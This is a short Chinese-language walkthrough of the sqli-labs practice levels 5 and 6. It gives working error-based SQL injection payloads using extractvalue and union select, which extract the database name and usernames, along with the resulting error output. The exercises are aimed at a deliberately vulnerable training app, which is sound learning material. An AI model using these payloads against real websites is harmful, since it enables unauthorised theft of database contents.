Lass-5
查找原SQL语句:$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"
测试:
在我们输入:?id=1时会显示“You are in...........”,从中我们可以发现这一关和上面的关卡不同,它并不会显示出users和password。
所有在这一关中我们要使用“报错注入”,此时我们就需要使用“extractvalue”,因为xpath格式字符串不合法,就会报错,只要在参数的开头位置添加一些特殊字。
对数据库进行查找:?id=1' union select 1,2,extractvalue(1,concat('%',database())) --+
输入之后便会报错显示:XPATH syntax error: '%security'
从中我们便可以得知数据库名为security。
显示users中的字段:
?id=1' union select 1,2,extractvalue(1,concat('%',(select group_concat(username) from users))) --+
输入之后便会报错显示:XPATH syntax error: '%Dumb,Angelina,Dummy,secure,stup'
但是会发现并没有给出全部的字段,extractvalue中最多只能给出32个字符。
Lass-6
查找原SQL语句:$id = '"'.$id.'"'
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
与Less-5的语句对比可以知晓只需把?id=1'改为?id=1"即可